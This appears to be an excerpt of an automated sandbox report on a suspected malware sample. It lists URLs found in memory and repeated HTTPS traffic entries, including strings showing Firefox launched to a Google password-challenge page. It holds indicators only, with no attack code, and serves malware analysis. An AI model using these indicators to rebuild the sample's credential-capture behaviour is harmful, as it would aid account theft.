Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/uninstallPlugin()
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchrequestReplyFromRemoteContent
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/AND
Source: firefox.exe, 0000002D.00000002.3336641803.000001FAB61A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000002.2569760709.0000000000A17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 684030933f.exe, 0000001C.00000003.3125603311.0000000005833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2569760709.0000000000A17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2569760709.0000000000A17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 684030933f.exe, 0000001C.00000003.3125603311.0000000005833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2569760709.0000000000A17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2469293081.000000002372D000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3125603311.0000000005833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 684030933f.exe, 0000001C.00000003.3125603311.0000000005833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/startQuery/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000003.2469293081.000000002372D000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3125603311.0000000005833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2569760709.0000000000A17000.00000040.00000001.01000000.00000003.sdmp, firefox.exe, 0000002D.00000002.3335512997.000001FAB605F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3299762817.000001DBBC0C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000003.2469293081.000000002372D000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3125603311.0000000005833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2569760709.0000000000A17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: firefox.exe, 0000002D.00000002.3301714708.0000002752CFC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3681573733.000001FABD5BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000002D.00000002.3691338549.000001FAC28A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3497045795.000001FAB86DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.000001691830A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3691338549.000001FAC28A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000002D.00000002.3311670546.0000014814204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000002D.00000002.3677741157.000001FABCF85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000002D.00000002.3423827552.000001FAB7BE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3689507199.000001FAC2532000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3691338549.000001FAC2803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3677741157.000001FABCFEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000002D.00000002.3655021318.000001FABA843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https:
Source: firefox.exe, 00000030.00000002.3298523789.0000016918260000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.co
Source: firefox.exe, 0000002D.00000002.3690428072.000001FAC271B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3677741157.000001FABCF85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3297060751.000001DBBBE3A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3297060751.000001DBBBE30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306426541.000001DBBC1D4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3298523789.0000016918264000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3296463496.0000016917FE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3296463496.0000016917FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000002B.00000002.3209564407.000002396226A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3223351699.00000268EB292000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3320931930.000001FAAA5A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000002D.00000002.3320931930.000001FAAA5A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdC
Source: firefox.exe, 0000002D.00000002.3327978987.000001FAAC4F9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3327978987.000001FAAC4D9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3297060751.000001DBBBE30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306426541.000001DBBC1D4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3298523789.0000016918264000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3296463496.0000016917FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: ddf08f7f32.exe, 00000020.00000003.3241617129.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwde
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmoz-extension://bfdd
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmoz-extension://cb97
Source: firefox.exe, 0000002D.00000002.3677741157.000001FABCF85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdp
Source: firefox.exe, 0000002E.00000002.3306426541.000001DBBC1D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.cop

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
